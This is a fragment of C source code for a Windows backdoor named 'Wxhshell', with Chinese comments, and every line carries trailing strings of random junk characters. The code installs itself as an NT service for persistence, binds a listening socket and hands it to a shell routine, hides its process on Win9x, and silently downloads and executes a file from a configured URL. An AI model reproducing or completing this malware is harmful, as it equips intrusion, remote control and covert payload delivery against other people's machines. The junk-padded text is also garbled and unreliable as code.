ULONG UniqueProcessId; "V,dH%&j
ULONG InheritedFromUniqueProcessId; @JOsG-VW~
} PROCESS_BASIC_INFORMATION; )}k"7"
@[1,i~H
PROCNTQSIP NtQueryInformationProcess; G#='*vOtO
6!){-IV
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J+`gr_&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TC
;Aj|)N
[7[$P.MS{
HANDLE hProcess; #t
VGqf
PROCESS_BASIC_INFORMATION pbi;
}}wSns
,pW^>J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VotI5O $
if(NULL == hInst ) return 0; \;+b1
(D+%*ax
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Zn+-Ih
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .SBN^fq
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dhuIVBp!!e
uuy0fQQ8ti
if (!NtQueryInformationProcess) return 0; E.yc"|n7l2
Ae<;b Of
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g}vU*g
;
if(!hProcess) return 0; wD@ wOC
$:?=A5ttuo
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j>~@vq
54f?YR
CloseHandle(hProcess); ?MiMwVR
u7-0?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5jTA6s9z A
if(hProcess==NULL) return 0; ^AO2%09.S
xCMuq9zt@
HMODULE hMod; C+gu'hD
char procName[255]; 1i Q(q\%
unsigned long cbNeeded; 5zt5]zl'
l_2YPon
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h5))D!
+:z%#D
CloseHandle(hProcess); y|WOw(#
CS"p3$7,
if(strstr(procName,"services")) return 1; // 以服务启动 P?y{9H*
S_Vquw(+
return 0; // 注册表启动 eh3CVgH91;
} 11JO [
a0
w
// 主模块 HGW;] 8xl
int StartWxhshell(LPSTR lpCmdLine) {dV!sQD
{ >JN[5aus
SOCKET wsl; M5S<N_+Pe
BOOL val=TRUE; ?QzN\fY;
int port=0; ~ o5h}OU"
struct sockaddr_in door; `]<~lf
"C+Fl
/v
if(wscfg.ws_autoins) Install(); '9 <APUyu
Zr;(a;QKs
port=atoi(lpCmdLine); l3kBt-m
l`{JxVg
if(port<=0) port=wscfg.ws_port; Oi n:5K)4-
r}t%DH
WSADATA data; 23`pog{n
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yy\d<-X~
6EG`0h6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; J_XbtCmt
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }@g#S@o
door.sin_family = AF_INET; .PJ_1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ' :,p6
door.sin_port = htons(port); ivi&;
Q__1QUu
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i)d'l<RA
closesocket(wsl); hC2Ra "te)
return 1; =+wkjTO
} _NM=9cWd
s ,GGO3^
if(listen(wsl,2) == INVALID_SOCKET) { =7U8`]WA
closesocket(wsl); $ZE"o`=7
return 1; :*lB86Ly
} -Cf<
#'x_
Wxhshell(wsl); LtBm }0
WSACleanup(); f.u[!T
I*8_5?)g<
return 0; a~[]Ye@H
26c1Yl,DMn
} C8
2lT_7"
[Uu!:SZ
// 以NT服务方式启动
*:V"C\`^n
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C$EvcF%1
{ %g%#=a;]q
DWORD status = 0; 9=;ETLL "
DWORD specificError = 0xfffffff; ,u<aKae
E+E.z?>S
serviceStatus.dwServiceType = SERVICE_WIN32; |Ok1E
serviceStatus.dwCurrentState = SERVICE_START_PENDING; LgS.%Mn
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^'aMp}3iu
serviceStatus.dwWin32ExitCode = 0; .;9I:YB$
serviceStatus.dwServiceSpecificExitCode = 0; .e%B'
serviceStatus.dwCheckPoint = 0; }!RFX)T
serviceStatus.dwWaitHint = 0; ,LJX
_p=O*$b.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K)t+lJ
if (hServiceStatusHandle==0) return; }))JzrqAe
To19=,:
status = GetLastError(); m/W)IG>
if (status!=NO_ERROR) %y;Cgo[
{ F>A&L8
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z"G@I= Q(
serviceStatus.dwCheckPoint = 0; KA$l.6&d
serviceStatus.dwWaitHint = 0; ]i@VIvYq
serviceStatus.dwWin32ExitCode = status; Flzl,3rW4
serviceStatus.dwServiceSpecificExitCode = specificError; *a4nd_!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y$?<y
return; slMWk;fmD}
} O
WVa&8O
c~+l|r=u?
serviceStatus.dwCurrentState = SERVICE_RUNNING; A?*_14&
serviceStatus.dwCheckPoint = 0; .pQ4#AJ
serviceStatus.dwWaitHint = 0; N!F ;!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t^qPQ;"=,
} Af>Ho"i
`$D2w|
// 处理NT服务事件,比如:启动、停止 ?$xZ$zW
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3YF*TxKx
{ 2@S{e$YK`
switch(fdwControl)
C vtG
{ CCZ]`*wJ
case SERVICE_CONTROL_STOP: za20Y?)[
serviceStatus.dwWin32ExitCode = 0; we&g9j'
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9L'R;H?L
serviceStatus.dwCheckPoint = 0; Y8 a![
serviceStatus.dwWaitHint = 0; lvz&7Z b
{ 0@ 9em~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +LM/< l
} %Ot^G%34
return; IU`&h2KZ.
case SERVICE_CONTROL_PAUSE: wZm=h8d
serviceStatus.dwCurrentState = SERVICE_PAUSED; )_nc;&%w
break; n1xN:A
case SERVICE_CONTROL_CONTINUE: QviH+9
serviceStatus.dwCurrentState = SERVICE_RUNNING; f|1GlUA{t
break; Svo gvn
case SERVICE_CONTROL_INTERROGATE: u;Q'xuo3
break; b;O|-2AR
}; nx >PZb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +SSF=]4+
} Y|=/*?o}
tF<|Eja*
// 标准应用程序主函数 q|.
X[~e|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FU|c[u|z
{ %K_[Bx{B
6*/o
// 获取操作系统版本 H`$s63
OsIsNt=GetOsVer(); =kUN ^hb
GetModuleFileName(NULL,ExeFile,MAX_PATH); b:nHcxDU<
i#
1:DiF
// 从命令行安装 <5Jp2x#
if(strpbrk(lpCmdLine,"iI")) Install(); 0'm4
)\
ajayj|h
// 下载执行文件 ttPa[h{!
if(wscfg.ws_downexe) { mzz77i
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }F1|&
A
WinExec(wscfg.ws_filenam,SW_HIDE); J:,>/')n
} z Uqt^_
t/K<fy
6
if(!OsIsNt) { I"^ `!8<q
// 如果时win9x,隐藏进程并且设置为注册表启动 6Uk[_)1
HideProc(); zR_#c3o
StartWxhshell(lpCmdLine); !tT$}?Ano
} VGY#ph%
else 1Ig@gdmz
if(StartFromService()) j1)HIQE|5f
// 以服务方式启动 RbJ,J)C>
StartServiceCtrlDispatcher(DispatchTable); A|V
|vT7cb
else =3J&UQL
// 普通方式启动 t>h<XPJi
StartWxhshell(lpCmdLine); SR#X\AWM
N&!qur \
return 0; )Aa98Eu?2
}